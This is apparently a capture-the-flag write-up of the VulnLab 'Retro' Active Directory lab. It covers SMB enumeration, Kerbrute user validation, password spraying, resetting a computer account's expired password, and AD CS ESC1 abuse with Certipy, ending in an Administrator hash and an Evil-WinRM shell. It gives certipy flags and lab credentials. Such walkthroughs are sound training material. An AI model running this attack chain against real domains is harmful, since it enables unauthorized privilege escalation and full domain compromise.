SMB 10.10.124.218 445 DC Trainees READ

SPIDER_PLUS 10.10.124.218 445 DC [+] Saved share-file metadata to “/tmp/nxc_hosted/nxc_spider_plus/10.10.124.218.json”.

SPIDER_PLUS 10.10.124.218 445 DC [*] SMB Shares: 7 (ADMIN$, C$, IPC$, NETLOGON, Notes, SYSVOL, Trainees)

SPIDER_PLUS 10.10.124.218 445 DC [*] SMB Readable Shares: 5 (IPC$, NETLOGON, Notes, SYSVOL, Trainees)

SPIDER_PLUS 10.10.124.218 445 DC [*] SMB Filtered Shares: 1

SPIDER_PLUS 10.10.124.218 445 DC [*] Total folders found: 19

SPIDER_PLUS 10.10.124.218 445 DC [*] Total files found: 7

SPIDER_PLUS 10.10.124.218 445 DC [*] File size average: 1.24 KB

SPIDER_PLUS 10.10.124.218 445 DC [*] File size min: 22 B

SPIDER_PLUS 10.10.124.218 445 DC [*] File size max: 3.68 KB
Do you remember the users we found during the RID cycling attack? It’s time to spray some passwords using NetExec! But wait — I almost missed an important step. Before that, we need to validate the users using Kerberos with the Kerbrute tool.
Here, I’m checking with two wordlists — one containing the users we initially found and another with common usernames from the SecLists wordlist. This is crucial because, in some scenarios, you might not have any discovered users to work with.
I usually move on to pentesting after this step, but just a heads-up — you should also test for Kerberoasting and ASREPRoasting attacks at this stage. Just wanted to throw that out there!
It’s time to start password spraying! 🔥 You can use Kerbrute for this, but as I’ve said before, I love playing with NetExec!
Nothing interesting here since we already knew the trainee user could log in with the “trainee” password.
But there’s something interesting in the output of impacket-lookupsids—did you notice that? 🤔 There’s a computer account: Banking$, and its password is the same as its name, which we also confirmed during the password spraying. Note: Whenever you discover a new user during enumeration, always add it to your wordlist for spraying later
So, it’s a valid user with a valid password, but the error we got during spraying indicates that the password needs to be changed. To fix this, we need to modify the /etc/krb5.conf file and use the kpasswd tool to update the password.
Checking for Validation of the Password Just Set
AD CS as Part of the Things You Need to Check
I will use the NetExec module for this first, then follow up with Certipy by Oliver Lyak a fantastic tool for all AD CS attacks — for additional AD CS scanning And Exploitation.
Now that we know it’s vulnerable to ESC1, it’s time to dig deeper and exploit it!
Exploiting ESC1 in AD CS
After confirming that the AD CS instance is vulnerable to ESC1 (Enterprise CA Security Issue 1), we move on to exploitation using Certipy. This attack abuses misconfigured certificate templates that allow low-privileged users or machine accounts to request certificates with privileged user UPNs (User Principal Names). These certificates can then be used for authentication and privilege escalation.
Step 1: Requesting a Certificate as Administrator
We use the certipy req command to request a certificate as the Administrator user while authenticating with the compromised Banking$ machine account.
  • -u 'banking$'@retro.vl -p 'banking1234': We authenticate as the Banking$ machine account.
  • -c 'retro-DC-CA' -target 'dc.retro.vl': Specifies the Certificate Authority (CA) and domain controller.
  • -template 'RetroClients': Requests a certificate using the vulnerable template.
  • -upn 'administrator': Sets the UPN to Administrator, essentially tricking the CA into issuing a certificate for a highly privileged account.
  • -key-size 4096: Generates a strong RSA key.
If the template is misconfigured and allows us to specify arbitrary UPNs, we successfully obtain a certificate for Administrator.
The output confirms that the certificate was issued and saved as administrator.pfx.
Step 2: Using the Certificate for Authentication
With the certificate in hand, we use Certipy auth to authenticate as Administrator and retrieve their NTLM hash.
  • -pfx 'administrator.pfx': Uses the obtained certificate for authentication.
  • -username 'administrator' -domain 'retro.vl': Specifies the target user and domain.
  • -dc-ip 10.10.124.218: Specifies the domain controller’s IP.
The output confirms that we successfully retrieved a TGT (Ticket Granting Ticket) and the NTLM hash of the Administrator account:
Step 3: Getting a Shell as Administrator
With the Administrator NTLM hash, we use Evil-WinRM to get a fully privileged shell on the domain controller.
And just like that… we’re in! 🎉
Navigating to the desktop and reading the root.txt flag confirms full domain compromise!
Final Thoughts
This machine was a great example of how misconfigured AD CS templates can lead to full domain takeover. By abusing ESC1, we were able to escalate from a low-privileged machine account (Banking$) to Administrator—without even needing to crack any hashes!
🔹 Key Takeaways:

✅ Always check for AD CS misconfigurations.

✅ ESC1 allows for privilege escalation by requesting certificates with privileged UPNs.

✅ Certipy is an excellent tool for AD CS enumeration and exploitation.
And that’s another VulnLab machine pwned! 🔥
References
If you want references for this attack, check out our blog post on it!
Do You Wanna Chat with Maverick?🥂
Don’t forget to follow me on LinkedIn and Twitter, and give me some respect on Hack The Box! i love chatting with like-minded people, sharing knowledge, and learning from everyone. Happy hacking! 🚀
[/hidden_content]
Full Story: https://infosecwriteups.com/retro-1707aa40be52?source=rss—-7b722bfd1b8d—4
Views: 18
Tags:
EXPLOIT, PASSWORD, TOOL, PRIVILEGE, BACKUP, ACTIVE DIRECTORY, DNS, DISCOVERY